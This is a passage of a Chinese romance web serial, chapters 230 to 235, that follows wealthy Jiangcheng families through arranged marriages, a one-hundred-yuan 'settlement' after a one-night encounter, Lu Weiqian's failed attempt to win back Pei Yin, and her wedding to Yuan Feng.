“那天是意外。”邓雪扭过脸,声音细微颤抖,“裴总,不必放在心上。”
他转过身来看她。
她便又将脸扭了扭,“如果裴总,没别的事情,我就……去工作了。”
邓雪又勾了两下门把手。
车门锁着。
“裴总……,你还有别的事情吗?”
“邓雪,我这个人,不喜欢欠别人的,那天的事情,应该给你补偿的,你说个数吧。”他从口袋里,摸出一张支票,“或者,你自己填。”
现金支票,即支即给。
邓雪抬眸看了裴啸一眼。
成年之间的羁绊,是情感。
解除这种羁绊,用钱,再合适不过。
她点头,“那我……自己填吧。”
她接过支票,金额处,填上了……一百元。
“裴总,那以后就两清了……我就先走了。”她用眼神指了指他手旁的锁门健,“开门吧。”
车门锁的声音响起。
邓雪逃似的,下车离开,躲进了自己的车里。
那天……
那天,裴啸被人下了药。
他神智不清,分不清她是邓雪,还是那个找上门来的小姐。
在他清醒之前。
她偷跑了,她以为他不会知道那个人是她。
他还是查到了。
期间,他给她发过很多条信息,说要见一面,聊聊那天发生的事情。
这种事情,要如何聊。
成年男女,因为一次的不期而遇的性事,就要上升上谈婚论嫁上。
多少有点可笑。
他也没那么糊涂。
她就是一个打工仔而已,哪怕宋南伊再器重她,她的身份已经摆在了那儿,她就是个打工的,她从小的生活环境,就是普通的不能再普通了。
裴啸不一样,他是世家豪门的长子长孙。
他是高高在上的贵公子。
他有很高的学历,很深的阅历,很强的能力,他有着良好的家教和身世背景。
在他面前。
她始终是谨小慎微,毫不起眼的。
她从来没有敢肖想过,跟这样的男人,会发生什么一夜情。
更没有想过,让他负责。
钱,是最好的解决方式。
一百块,买自己的初夜不值,买自尊更不值。
但这一百元足够买各自的安心。
她深呼吸。
以后,她不会再将这事,当成心理负担了。
她想,裴啸应该也不会。
车子发动。
邓雪的车从裴啸的车子旁开走。
他眼眸深沉……
……
XY集团。
江淮出差回来。
被霍时序叫到了办公室。
“上次,那怀孕的那个……到底什么情况啊?”
江淮挺抓马的。
但确实不是他干的,“她就是那姓马的雇来,捣乱的。”
“姓马的?哪个姓马的?”
“南城马世勋家的那个小儿子,叫马扬,前段时间跟他有点过结,他气不过,找一个孕妇来坏我名声,实际上,那个孕妇的肚子是被他搞大的。”
霍时序似是想到了什么。
南城马家的马扬……不就是……裴家将要联姻的对象吗?
这小子在外面玩的够花的。
还没结婚,这私生子先要搞出来了。
“这个马家想与裴家联姻,联姻的对象就是这个马扬,这裴吟刚出狼窝又要进虎口……”霍时序觉得,有必要跟裴啸说明一下这个人的情况。
霍时序拿起手机,给裴啸拨了过去。
将马扬的情况说了,那头嗯了一声,“知道了。”
“这个马家实在不是好的联姻对象,你可就这一个妹妹,喜不喜欢,爱不爱的不重要,怎么着也得给她找个靠谱的。”
那头沉默。
霍时序又说,“不是我有私心啊,我是觉得……这陆家虽然不行,但陆为谦这个人,还将就的,不行,你就撮合一下,让陆为谦和裴吟破镜重圆得了。”
第231章 不联姻行吗
裴啸是裴家的长子。
也是唯一得去挑起裴家重任的男人。
他难道不想自己的妹妹,有一个好的归宿吗?
但是……
裴啸沉闷道,“如果马扬人品不行,我不会让裴吟嫁的。”
“北城袁家的大公子,为人不错,我跟他打过几次交道,虽然袁家比不上马家,但是袁枫还是有能力的,而且他是搞新能源的,跟你们裴氏旗下的很多业务都能重叠,裴吟嫁过去,也不吃亏。”
霍时序是有私心的。
但也不全是私心。
如果把他换成裴啸,他自然不会让妹妹在家族的发展中,冲锋陷阵。
但有时候,联姻是最快的发展之道。
“不说裴吟了,你呢?听说你也要联姻?”
裴啸有这个意思,目前有几家在考虑,“如果我选择联姻,阿吟她……就可以过自己想要的生活,她从小到大,不受拘束惯了,嫁给谁,人家也不会无底线的宠着她,我不想……让她不开心。”
“你们兄妹两个……”霍时序也不知道说什么。
裴吟联姻,是为了让裴啸在婚姻有更多选择的权利。
而裴啸这个时候,也选择联姻,换的是裴吟下辈子的自由。
他挺羡慕这样的亲情。
可惜啊,他一个兄弟姐妹也没有。
一辈子也体会不了,这种亲情之间的双向奔赴。
……
当削瘦的陆为谦,站在裴吟面前的时候。
她无法形容自己的感受。
她没有想到,他恢复的那么快,快到,她都忘记他曾经受过那么重的伤。
“你……瘦了,多吃点。”她说。
陆这谦面色如昨的温和,“找个地方,坐坐吧。”
“好,好啊。”
安静的咖啡厅里。
只有淡淡的蓝调音乐,在空中悠扬。
裴吟没有说话。
一直在玩指甲旁的肉刺,扯不断就咬,厉害的又疼又冒血。
“你还是爱啃指甲。”他脸上是淡淡的笑。
裴吟将指甲收回,稍微有些尴尬地扯了扯嘴唇,“你也没怎么变。”
“这一年多,你去哪儿了?”
裴吟睫毛微动,“去滨城了。”
“我听说你收养了一个孩子。”他看着她微垂的睫毛,“阿吟,有时间把孩子带出来,给我看看好吗?”
裴吟抬眸。
他眼底涌动一些,令她心碎的情绪。
没人相信她收养了一个孩子。
陆为谦当然也不信。
可他没有拆穿。
他给她留了解释的余地。
四目相对仅仅维持了短短几秒,她便垂下了视线。
她没有解释给他。
“那个……离婚证,我收到了,其实,本想着等你病好了,再跟你商量离婚的事情,没想到你爸挺神通广大的,倒是省了很多麻烦……”
裴吟不知道该说什么。
她不想把见面弄得太尴尬。
江城就这么大,以后,抬头不见低头见的。
“还有就是……我马上要跟别人家联姻了,以后就……不要再见面了。”
裴吟的头越垂越低,要低到桌面以下。
陆为谦不一样,他向来平静,但这次的眼底却掀起了风暴。
“不联姻行吗?”
裴吟愣。
她以为听错了,“你说什么?”
“我说,不联姻行吗?”他眼底迸出复杂的情绪。
他习惯了将情绪掩埋在,自己看不见的地方。
那样,他就可以肆意妄为的爱。
没人知道,他的爱是热烈的,还是悲伤的。
现在。
他想把爱搬到台面上来。
“阿吟,不联姻行吗?”
裴吟不知道陆为谦,突然说这个,是什么意思。
他应该清楚,生在这样的人家,没有选择的权利。
“你不也一样吗?我听我哥说,你们家要跟吴家结亲家,日子都订好了,就在元旦。”
陆为谦沉默。
在他们这个圈子里,什么都传得很快。
都是利益在操作。
“我不会跟吴家小姐……”
“为谦。”裴吟并不认为,他是一个不理智的男人,“我们没得选,你也不要因为一些别的原因,就拒绝了联姻,不值得。”
“你明知道我的心。”他不喜欢说得太白,但这次,他怕裴吟听不懂,“阿吟,我心里有你。”
她很浅地笑了。
他们之间,现在谈这些,不合时宜。
“爱会让人痛苦。”
“为谦,我不希望看到你痛苦。”
“大胆地往前走吧,忘记过去。”
“我会祝福你的。”
裴吟走了。
慢慢地消失在余晖中。
她就这样轻轻地走出了
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他的世界。
像枚不起眼的小石子,却在他的心里掀起了惊涛骇浪。
陆为谦起身追了出去。
在路口拐角处,扣住裴吟的胳膊,将她扯进了怀里。
“别离开我阿吟,别走……”
人来人往。
他的拥抱温暖而有力量。
他捧着她的脸,半强迫,又不知羞耻地吻上她的唇。
他从未如此地大胆过。
他向来矜持。
可他今天,什么也不要了,什么脸面,什么风度,他不想搞纯爱,只想吻她。
裴吟惊着了。
陆为谦从来都不是,可以在人前,能做出这种行为的人。
她嫁进陆家也有几个月的时间。
他甚至,都不怎么会牵她的手。
就算是两人在房间里亲热,他也只有在最后的时刻,才释放情绪。
他是拘谨的,甚至有些刻板。
“陆为谦……”她轻轻地推开了他,“……你别这样。”
路人的眼光,令裴吟脸红。
她转身就走。
被陆为谦扣住手腕,直接带到了自己的车里。
安全锁落下。
二人沉默无语。
“你……还有什么想说的吗?”裴吟抿紧了唇,眼神乱飘,也不敢看人,索性低下头,继续玩她指甲旁的倒刺。
“阿吟,我们重新开始吧,好吗?”
裴吟撕指甲的动作一滞。
重新开始这四个字,听起来好沉重。
她从未想过。
“没……这个必要吧。”他们已经离了婚。
她想陆为谦,只是暂时的没有适应。
他慢慢会接受的。
“为谦,你在医院里躺了一年多,现在身体刚刚恢复,可能……还没有留出时间,好好规划自己的……下面要做的事情,等你忙起来了,不就会想这么多了。”
陆为谦面色痛苦。
握着方向盘的指尖,微微颤抖。
“真的不给我机会了?”他眼眶很红。
裴吟不敢看他。
怕自己心软。
她在感情上,向来不拖泥带水。
她不喜欢优柔寡断的自己。
“结束了,就没必要再开始了。”
迂回性的考虑,不如斩钉截铁地拒绝。
陆为谦有权利,重新寻找到自己的幸福。
哪怕,或许,很难。
但她会祝福他的。
第232章 会客区的漂亮女人
裴吟回到家时。
裴啸正在客厅里看财经杂志。
裴吟扔了包。
整个人往温软的沙发里一倒,深深的叹息了一声。
裴啸淡了她一眼,“怎么了?”
“没什么。”她迅速的从沙发上起身,往厨房里走,“饿了,去找点吃的。”
她像个没心没肺的孩子。
一边吃着东西,一边哼着歌。
如果不是这样,他或许真的以为她只是饿了。
她在唱歌。
证明她的心里在悲伤。
“阿吟,过来。”裴啸唤她。
裴吟走过来,坐到他对面,指尖还有没吃完的小饼干,“有事赶紧说,我得去睡会儿了。”
“你们见过面了?”
裴吟愣了愣。
装不明白的,“见什么面?你说跟谁见面?”
“别装傻,你和陆为谦是不是见过面了?”
裴吟笑了。
一脸的毫不在意,“是啊,偶遇,就是打了个招呼而已,他要和吴家联姻了,我说了一些祝福他的话。”
“那你呢,考虑好了没有?要不要跟马家联姻?”
裴吟不想,但她不知道该如何反抗。
或许,她从内心里,是不想反抗的。
“我……”
“想就是想,不想就是不想,这有多难说出口?”
“我……我就是怕那边,对可可不好,我倒是无所谓的。”她低低囊囊的说。
裴啸呵了一口,“哪怕他在外面,搞大别人的肚子,你也愿意?”
裴吟抬眸。
搞大了别人的肚子?
玩得这么花吗?
对她来说,倒也无所谓,只要别带到她跟前恶心她就行。
“没关系,反正……我也不爱他。”
“你可真是……”裴啸给她竖了个大拇指,“……这个。”
裴吟耸耸肩,“没别的事儿,我上楼了。”
她咬着小饼干,哼着歌,消失在了裴啸的面前。
临睡前。
他想去看一眼裴吟睡了没有。
听到她压抑的哭声。
落到门上的手,最终还是收了回来……
……
宋南伊发现,最近邓雪有些魂不守舍。
以她的经验来说。
要么恋爱了。
要么失恋了。
“邓雪?”
“邓副总?”
邓雪回神,忙走到宋南伊的面前,“老板,你叫我?”
“最近是不是太累了,我极少看你走神。”
“抱歉老板,我……,我会马上调整好的。”她推了推鼻梁上的眼镜,“您最近是准备要复工了吗?”
宋南伊是准备回来上班了。
孩子现在不用她照顾。
奶水不用,也都回去了。
连个奶妈也算不上。
很无聊。
“是想工作了,在家太闲了,跟霍时序大眼瞪小眼的,他总以为,我要害他。”
说着,宋南伊自己先笑了。
邓雪也跟着笑,“霍总怎么会有这样的想法?不会是做亏心事了吧?”
“最近他公司里,多了好几位的女秘书,我猜他有事。”宋南伊神秘兮兮地说。
邓雪被逗笑,“老板,你可真是越来越可爱了。”
宋南伊也被自己逗到,“说着玩的,我还是挺相信他的,哦对了,今天裴总给我打了个电话,说是要做一款情侣对戒,跟你对接过吗?”
提到裴啸。
邓雪一脸的不自然。
但她也没让宋南伊看出来,“裴总还没有跟我对接,之前合作的门店刚刚完成,这么快又要搞联名对戒吗?”
“他说趁热打铁。”宋南伊无所谓的,“这样,你亲自跑一趟润合,看看他什么想法,回来跟我讲一下就好。”
“好的,老板,我这就过去。”
邓雪走出宋南伊的办公室。
深呼吸,再深呼吸。
反正钱也收了,事也说明白了,她没必要紧张。
以后裴啸那边少不了跟YY珠宝合作的,躲是躲不掉的,当无事发生最合适。
她给自己打了气。
然后,驱车前往润合集团。
她去润合太多次了。
和裴啸的秘书,安非非很熟。
还没走到裴啸的办公室门口。
安非非就将邓雪拉住了,“小雪,裴总在里面忙呢,一会儿再进去。”
“在会见客人吗?”
“不是,是裴总要联姻的对象,来沟通感情来了,叫什么来着,叫,叫……施晓,对就是叫施晓,人长的还挺好看的,听说她们家是做进出口起家的,身家比裴总家还要好很多呢。”
“哦,是吗?”邓雪眼神微微有些落寞,“我倒忘了,像裴总这样的,都是要与旗鼓相当的人家,联姻的。”
安非非点头,“当然啊,整个江城的上层豪门大户,都讲究联姻这一套,据我所知,没有联姻的……也就是霍总自己吧,不过话又说回来,霍太太家世不差的,完全配得起他。”
邓雪,“当然,我们家宋总优秀着呢,这白天鹅配白天鹅,丑小鸭就配丑小鸭,异想天开,总是不好的。”
也不是人人可以飞上枝头变凤凰的。
安非非看邓雪在走神。
用手肘捅咕了她一下,“你说,像我们这种小平民老百姓,会不会被高富帅的白马王子看上?”
“刚不是说了,咱们这种丑小鸭就得配丑小鸭你,你说的,那是小说里才有的桥段,我们这种人,还是……好好赚钱吧。”
安非非叹。
是啊,还是好好赚钱最现实。
总裁办里的女人一直没有出来。
邓雪等不及,想进去,问安非非,“要不,你帮我先报一声,免得我进去尴尬。”
“行吧,你等我。”
安非非敲门走进了裴啸的办公室。
很快出来,“小雪,你进去。”
“谢谢你了非非,改天请你吃下午茶。”
“好呀好呀。”
邓雪深呼吸,调整好状态,微笑着敲门,进入,“你好,裴总,我是YY珠宝的邓雪,宋总让我过来,问一下,您对联名对戒的想法。”
她将一些设计图稿,放到了裴啸的面前。
她甚至都没敢看,坐在会客区的漂亮女人。
她想,她是自卑的。
她也不是非要跟什么千金小姐比。
就是发生了那样的事情后,越来越觉得自己像个笑话。
莫名的自卑,只能靠自己的工作态度,和过硬的专业知识,让自己的腰杆能挺的直一些。
“这些,我一会儿看。”他抬眸看她,平淡的,“还有别的事情吗?”
“没,没有了,您看过以后,麻烦给我个反馈,我需要向宋总交差,当然,如果您愿意直接跟宋总沟通,也是可以的。”
邓雪说完。
礼貌的微弯了一下身,“那我就先回去了。”
“邓副总。”裴啸叫住了她,“正好我也去一趟YY珠宝,一起吧。”
“您……不是在忙吗?”邓雪这才将视线落到了年轻漂亮的女人身上。
她长得可真好看。
一看就是那种在宠溺的爱里,滋养出来的小公主。
下巴微抬,一副全天下都得哄着我的,傲骄。
他看向施晓,“先送你回去,我还得去工作。”
施晓起身,温驯乖巧的点头,“好啊,裴啸哥,那我们改天再约。”
“走吧。”
三个人一台车。
邓雪坐在后排。
她明明自己开了车去,裴啸却偏要她共坐一辆。
幸好,她刚刚将自己的车钥匙给了安非非,让她帮忙找个代驾,把车子开回公司。
不然,又得再跑一趟。
第233章 搅的别人家兄弟反目成仇
施晓的家在富人区的别墅。
邓雪第一次来富人区。
这里面的别墅,每一幢都建的各具特色,每一幢都是独立存在的,矮的有两三层,高的有四五层,相邻甚远。
院子一定很大吧。
晒被子一定很方便,她喜欢那种太阳的味道。
比她那一步阳台肯定晒的暖多了。
可她一辈子也不会住上别墅的,她知道。
裴啸将施晓送下车。
两个人不知道在聊什么。
施晓的脸上淡而愉快的光泽,她挥手与他再见,然后转身回了家。
看到裴啸走过来。
邓雪在后座,赶紧坐直了身子。
“我们……先去一个地方。”裴啸系好安全带,并没有发动车子,“……到前面来。”
邓雪懵。
“我在后面就好。”
“我不是你的司机。”他近乎命令的口吻。
邓雪抿嘴,还真是不客气,“我不敢让裴总当司机。”
下车,坐到副驾驶。
他伸过长长的胳膊,拉过安全带,为她系好。
他的唇蹭过她的发梢时,只有0.01公分的距离。
她心跳加速。
又觉得自作多情,“我,我自己来就好。”
裴啸看了邓雪一眼。
没说什么,车子缓缓开走。
车子一路向西,很快就开出了市区。
邓雪也不知道他要带她去哪儿,她接下来还有工作,忍不住问了一嘴,“裴总,你要带我去哪个地方?”
“带你去一个有灵感的地方。”他没看她,专注的开车,“你每次递给我的设计,我都觉得差点意思,或许你,缺少点灵感。”
邓雪:……他是在贬低YY的设计师吗?
她承认,除了宋南伊的设计,所有的设计师,都缺少灵气这是真的。
但一个联名的情侣对戒,真有需要太多有灵气的的设计吗?
还能设计出花来?
大家买的就是一份对感情的珍重?
是一份纪念。
“裴总对我们YY的要求,还真是越来越高了。”
裴啸轻笑,“要求高,才能共同进步不是吗?我可没有邓副总那样的胸怀,天大的事情,一百块,就解决了。”
邓雪:……
他在内涵映射什么?
那事,不是已经过去了吗?
耳根不由的又烧了起来,更可恶的是,她眼前竟然全是那天他和她在床上……
她赶紧晃了晃脑袋。
佯装平静的说,“做人嘛,斤斤计较没意思的。”
裴啸舌尖顶着腮,笑了笑。
“我得向邓副总学习。”
邓雪怀疑他在阴阳怪气,又没有证据。
裴啸带邓雪去的地方,是一个琉璃展的会场。
让她从里面找灵感。
他一个人则坐在会场外面的休息区,等她自己去悟。
邓雪没悟出什么,只是拍了几张照片,回去给设计师们看,能不能寻找点,可以汲取的地方。
回去的路上。
邓雪基本上没有说话。
她靠着车窗,被太阳晒的很舒服,就迷迷糊糊的睡着了。
裴啸将暖风温度调高。
又把自己身上的西装,脱下来,盖在了她的身上。
好像一切自然而然。
……
宋南伊和裴吟约了喝下午茶。
裴吟带着小可可。
小家伙已经会坐了,白白嫩嫩的,小胖腿蹬来蹬去,咿咿呀呀特别爱讲话。
宋南伊爱的心都化了。
“虽然我也有女儿,但是我还是特别小可可,裴吟你可真会生,这小丫头,是集了你和陆律师所有的优点,长大了一定是一个美人胚子,是那种搅得别人家兄弟反目成仇的那种。”
说这话的时候。
宋南伊也没有想到。
有一天,搅动是她家的两个儿子。
裴吟笑笑,“可别,那样我会打死她的,不道德的事情,咱可不干。”
“那道德的事情呢?比如说,给她找个亲爸之类的?”
宋南伊的话。
裴吟明白。
但她走不出那一步,现在两家都有了新的联姻对象,再走到一起,不会那么容易,也不合适。
“他要和吴家的小姐联姻了。”
宋南伊听说了。
但那个吴家小姐,说白了就是一个离婚专业户,四十了还带两个娃,也不知道陆家怎么想的。
“陆律师能看上她吗?”
裴吟笑她天真,“重要吗?这根本就不重要,只要对家族有利,别说四十岁了,五十岁也不是问题。”
“那我还真想不通。”
宋南伊想不通,裴吟也理解,毕竟她没有经历过。
“其实,从某个方面来说,你是幸运的。”
宋南伊:“哪方面?”
“你看你,那么小的时候,就被霍时序
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追的满大街跑,他为了追求你,娶到你,拒绝了多少豪门之间的联姻,当然了,我说这个,不是认可霍贱狗的人品,我只是想表达,至少,不管怎样,你们相爱过,甚至现在正在相爱中,那比起我这种人来说,就是幸运的。”
裴吟悲观极了。
这是令宋南伊难过的。
她不应该这样的。
她是冬天的里的小太阳。
她是那样的敢做自己。
不应该陷在情爱里,独自悲伤。
或许,她也不是陷在情爱里,是陷在了对自己很多的不确定里。
“裴吟……”
裴吟笑着,“干嘛,别可怜我,我好着呢。”
“我不是可怜你,我只是希望你能快乐。”
“我很快乐,我有可可,她是上天送给我的礼物,你知道吗?我和陆为谦生活了几个月,我们之间,没有过几次的,可可能来,是上天可怜我,我真的很知足,很知足。”
裴吟看着可爱的女儿。
或许无法给她一个有爸爸又有妈妈,完整的家,但会给她好多好多的爱。
宋南伊要动唇说些什么。
就看到了不远处的熟悉身影。
她刚要提醒裴吟。
人就走了过来。
“好巧啊,南伊。”
是陆为谦。
裴吟逗弄小可可的指尖一滞,没抬头,就像定格了一般。
陆为谦看向婴儿车里的小人。
鼻尖突然一酸。
“阿吟。”
裴吟装作无事的,转身脸来,冲他笑了笑,“好巧啊,陆律师。”
宋南伊看了陆为谦一眼。
又看了裴吟一眼。
觉得自己这个电灯泡应该撤了。
“那个,我突然想起来,YY还点工作没有完成,我就……先走了。”宋南伊抓起自己的包包,冲裴吟挤了抹笑,“我先走了,你们聊。”
陆为谦坐到了裴吟对面的位置。
刚好可以看到婴儿车的小人。
白白嫩嫩的,大大的眼睛,睫毛很长,小嘴粉扑扑的,有几分像裴吟,有几分像自己。
“她叫什么?”
裴吟浅应,“可可,可爱的可可。”
陆为谦呢喃着这个名字,“你取的?”
“嗯。”
陆为谦伸出指尖,在要碰到小姑娘脸上,小姑娘歪头看向了他,冲他笑了。
他心口酸涩的疼了起来,“她好像喜欢我。”
第234章 他足够懦弱
“她只是不认生而已。”她递了玩具给小姑娘玩着。
端起桌上的咖啡,轻轻的啜了一口。
陆为谦不舍的收回视线,“她好带吗?”
“还行吧。”
裴吟没抬眼。
只是一味的喝咖啡。
陆为谦将一张钥匙卡,放到了裴吟的面前,“我在华苑买了套房子,二百平,不算太大,三室,足够一家三口……”
裴吟不解他的意思。
好像期待着他说些什么,又害怕他要说些什么。
“阿吟,我不想再做陆家的棋子了,我可以赚钱,我也能力可以让你过上好的生活,我们,要不要再试着……”
他知道说这些,是完全没有说服力的。
裴吟离开他,不是为了钱,不是为了房子和车子。
她就是觉得没有依靠。
她就是气他,没有坚定地站在她的身边。
她总是一个人在战斗。
而他……只会当缩头乌龟。
“……阿吟,我答应你,以后不再跟陆家来往,我们一家三口,过自己的日子,请你再给我次机会。”
裴吟心里头复杂。
听到这种话,她早已经没了悸动。
“陆为谦,你只要一天姓陆,你就跟陆家摆脱不了关系,况且……,为了我不跟陆家来往,值得吗?”
“当然值得。”
这次他非常的肯定。
裴吟却笑了,“我认为,不值得。”
她一副过往已然成为过往的释怀。
当然,说完全释怀是在骗自己,但她已经努力在做了。
她跟陆为谦实在是没有得聊。
那枚卡片钥匙,她更是没有拿。
裴吟将小可可整理了一下,起身,“不好意思,宝宝需要休息了,我先回去了。”
“阿吟。”他急忙跟着起身,“别这样拒绝我好吗?我知道,我以前做的确实不够,我没有给你足够的安全感,在生活的琐碎中,我有时候变成哑巴,由着我爸欺负你,我真的后悔了,我也在努力的做改变……”
“那是你的事情。”裴吟依然冷淡。
她丢下一抹绝情,推着女儿离开。
陆为谦站在原地,那枚钥匙,安静的躺在桌面上,在此时显得足够讽刺。
他很难堪。
凭空生出来的。
他甚至连让裴吟承认,他是小可可要父亲,都做不到。
怎么能留住她呢。
懦弱。
他真的把懦弱,演绎到了极致。
……
裴吟答应了联姻。
不是马家,是袁家。
初见袁枫时,他一身休闲服,灰色的毛衣,黑色的长裤,被晨雾打湿的头发,散落在额前,脚上还沾了一些泥。
他刚去打高尔夫回来。
比想象中长像,还要好看一些。
他对她是有审视在的。
但没有嘲弄和瞧不起。
“其实,我也不算是什么好东西,这些年交的女朋友不少,发生过关系的,没发生过关系的,十个手指头都数不过来,不过,我可以答应你的是,结了婚,我不会跟外面曾经的那些女人,再来往,更不会搞出什么私生子,婚姻嘛,讲到底,就是忠诚,我可以做到。”
裴吟看着他。
年少轻狂中,又透着某些方面的成熟。
联姻中,能不搞出私生子来,已然是算对两家关系最大的尊重。
“那挺好的。”她淡淡的。
袁枫没想到她是这样的反应。
笑了,“挺好的?”
“对,挺好的。”
他咬了咬,端起咖啡喝了一口,“那你呢,你能做到什么?”
“和你一样。”
袁枫似乎还不满意,“听说你跟你前任生了个女儿,跟我打算生吗?”
“看情况吧。”
袁枫又被噎住了。
他以前听说过,裴家大小姐,挺难搞的,看来,也不是传闻。
好吧。
他承认,他挺喜欢这个性格。
“那我们……为了联姻交往一下,你觉得怎么样?”
“时间。”她看向他。
袁枫:“时间?”
“我平时还要照看宝宝,你说个时间,我尽量配合你。”她觉得自己说得够明白了。
袁枫哭笑不得。
两个人约会,还得预约。
“裴吟,你这样,哪个联姻对象不被你吓跑?”
“你也可以跑啊,我又没栓着你。”裴吟淡睨着他。
一副全世界都与她无关的表情。
袁枫闷哼。
得,他还真就喜欢这副桀骜不驯的样子。
“行,我提前预约,”
这一面算是大家认识了。
袁家不介意,跟着裴吟嫁过来的,还有个小宝宝。
袁枫更不介意。
他以前也玩的厉害,他觉得挺公平的。
但他这个人,事业心重,这两年已经收心,相较于马扬来说,他还算是个正经人。
这次联姻,不是
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裴啸的主意。
是裴吟自己决定的。
她不想再跟陆为谦纠缠,也想让他彻底死心。
联姻袁家,至少,陆之白不敢再在公共场合,随意辱骂她。
也不会追着她要什么肾。
最重要的是,陆为谦再也不会出现在自己面前。
这就是她想要的。
爱与不爱并不重要。
重要的是余生各自安好。
……
婚期定在了两个月后。
这期间,裴吟与袁枫的相处还算和谐。
袁枫这个人事少,不会过问她太多的私事,也从来没有提及过她与陆为谦的事情。
他见过小可可几面。
谈不上多喜欢,也没有表现出来厌恶。
裴吟觉得,这就够了。
一切都那么的按部就班。
结婚的前一天,下了整天的雨。
裴啸的车子开到裴宅后,他看到了撑着伞,站在家门口的陆为谦。
他和陆为谦,霍时序算是年少相识。
陆为谦和霍时序不一样,他内敛,情感也不外放,所有的压力,都自己来承受,面上风清浪静,其实心里早就汹涌不堪。
“怎么不进去?”裴啸撑着伞,到来他面前,“阿吟在家。”
陆为谦垂眸。
憔悴的视线,望向二楼那盏灯光,“我是不是,真的要失去她了?”
裴啸不好评判,在感情中的对错。
只是淡淡的说,“明天,她要跟袁枫结婚了,你也该有一个新的开始了。”
“裴啸,我放不下。”他头一次觉得,放下是一种令他心碎肠破的疼,“我们不应该是这样的,你说是吗?”
“我想嫁进陆家的那几个月,她定是受尽了委屈,才决定与你分开的……阿吟的性子你是知道的,她从不走回头路。”
陆为谦苦笑。
他何尝不知道,那几个月她过的有多苦。
他以为裴吟天生坚韧。
可他忘了,她只不过是二十几岁的小姑娘,硬的是嘴,她的心会受伤的。
“是我对不起她。”
“放下吧为谦,虽然你们失去了彼此,但是你们学到了人生最宝贵的经验,我想你们将来,一定会越来越好的。”
陆为谦看向裴啸,笑着掉下泪来,“没有她,我不会越来越好的。”
情到深处。
肝肠寸断。
裴啸心里难受,但也只能劝,“回去吧为谦,有时间多来看看宝宝。”
第235章 她好美,撩的他心跳加速
袁裴两家联姻的事情。
早在一个月前,就已经**城的媒体,炒得沸沸扬扬。
传闻,袁枫很喜欢裴吟。
豪掷千万,拍下了英国女王在当储君时,戴过的皇冠。
订婚那晚,他为她放了一晚的烟花。
袁枫很张扬,有点像当年的霍时序。
人人都说,裴吟走了狗屎运。
二婚遇上年龄相仿的不说,又帅又有钱,还不计较她的过去。
宋南伊看了这样的新闻难受。
爱情从来讲究的不是什么样貌,和金钱。
她问霍时序,“这个袁枫人怎么样啊?”
“年轻的时候,也爱玩,不过最近几年,他的精力都用在事业上,倒也上进,算是中规中矩的个人,婚前玩够了,婚后不容易出事,不会像马扬那样,到处撒种子。”
“可是裴吟不开心啊。”
她太了解自己的闺蜜了。
和陆为谦结婚前,裴吟会给她发信息,说自己紧张之类的。
自从联姻这个袁枫。
裴吟连吐槽,都没有吐槽过。
她的朋友圈,空空荡荡,能看得见的,只有小可可。
还是设置了可见名单。
“我想,陆律师应该也挺伤心的吧。”宋南伊莫名有一些的伤感,“为什么这个世界上这么多的身不由己?我太了解了裴吟了,她一旦决定的事情,很难回头的,就算后悔,就算再爱,也不会的。”
裴吟有强大的自我保护机制。
她擅长用时间来遗忘伤害。
“与陆为谦的那段婚姻,到底是伤了她。”
霍时序不便发言。
站在男人的立场上,谁都想娶个自己爱的。
陆为谦娶裴吟,不是因为他喜欢裴吟,而是因为得不到宋南伊,退而求其次。
至于,他们结婚后,有没有产生爱情。
不得而知。
“袁家和裴家都给我发了请柬,到时你陪我去吧。”他伸手捏了捏她的小脸,“好了,别人家的事情,咱们又不知全貌,不予置评。”
……
袁家的婚礼现场,做的很是排场。
就从婚礼上来看,袁家比陆家要厚道的多。
人家一没嫌弃裴吟嫁过人,二也没嫌弃她有过孩子。
一切都按最高礼仪来办。
在婚礼开始前,袁枫进到化妆室,见了裴吟一面,“怎么样?紧张吗?”
裴吟看着镜子里的自己。
像是平行世界里的那个人。
“还好。”
“没事,别紧张,婚礼嘛,流程都差不多,我精减了不少繁文缛节。”袁枫看着镜子里的女人,双手握在她的肩上,视线与她平行,“挺漂亮的,一会儿多笑笑。”
裴吟对袁枫虽然没有感觉。
但也并不讨厌他。
“好。”
一切妥当。
婚礼现场,宾客早早到齐。
袁枫意气风发。
一身大红刺绣中式礼服,把整个人衬的英伟俊挺。
敬茶,领红包,磕头,转场去礼堂。
袁枫抱着裴吟上车。
车上,袁枫与她十指相扣,“看得出来爸妈很喜欢你,给的红包很厚。”
他将自己的红包也交给了裴吟,“以后,咱家你来管钱。”
裴吟笑笑。
“各花各的吧。”
袁枫神色微黯。
还是将红包塞给了她,“各花各的,显得多生分啊,男人赚钱就是给女人花的,不管你爱不爱我,只要你跟我一天,你就是我老婆,我愿意给你花钱。”
裴吟不在乎钱。
值的欣慰的是,袁枫不像陆为谦那样,是个唯父母是从的胆小鬼。
他是有个性的。
是肆意的。
是对自己的人生有精准定位的人。
裴吟不否认,陆为谦很优秀,但袁枫也并不比他差。
而且,袁枫更在意她的感受。
就像刚刚,有个朋友要闹她,袁枫没给他面子,骂了。
“袁枫,我其实……挺无趣的,我也有宝宝,精力不可能全放在你身上,你可能要习惯我的冷落,如果哪天你受不了我,就跟我提离婚,我不介意的。”
“呸,呸,呸。”他握紧了裴吟的手,递到唇上吻了一二三四下,“今天是咱们结婚的喜日子,谈什么离婚啊,我的字典里可没有离婚这两个字。”
这一刻。
裴吟是觉得自己是有一些抱歉在的。
从一开始,袁枫和她对婚姻的态度就是不一样。
她应该去改变。
她将小脸搁在他的肩上,“袁枫,我答应你,我会跟你好好相处。”
他抬手摸了摸她的小脸。
“那就对喽,联姻并不可怕,怕的是没有信心一起走下去。”
她笑笑,望着前方的路。
宾客已经在礼堂**完毕。
裴吟去换婚纱。
袁枫站在门口跟父母
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一起迎客。
看到霍时序和宋南伊过来,他便快走几步迎了上去,“霍总,你肯赏光来参加我和裴吟的婚礼,真是蓬荜增辉,感谢感谢。”
“怎么说裴吟也算是我的妹妹,你小子,可要好好待她。”
袁枫笑的见牙不见眼,“你这话说的,我老婆,我能不好好待她?放心吧,错不了。”
宋南伊上下打量着这个眼生的男人。
很年轻。
应该不到三十岁。
有一些猾气在,像只不好拿的狐狸。
但他讲起裴吟来,眼里的喜欢不像是假的。
她突然在想,这个男人和陆为谦比起来,谁更胜一筹。
她挽着霍时序的胳膊往里走,边走边低声说话,“以你来看,他对裴吟是真是假。”
霍时序笑了。
“你笑什么啊?”
霍时序又是一笑,“你傻不傻啊,他们两个是联姻,只要共同的利益在,真假的那么重要吗?”
“联姻就不能有爱情了?低级。”
宋南伊松开霍时序的胳膊,就要往前走。
男人赶紧哄,“算我讲错了,行吗?别生气,别生气嘛。”
婚礼交响曲响起。
现场安静了起来。
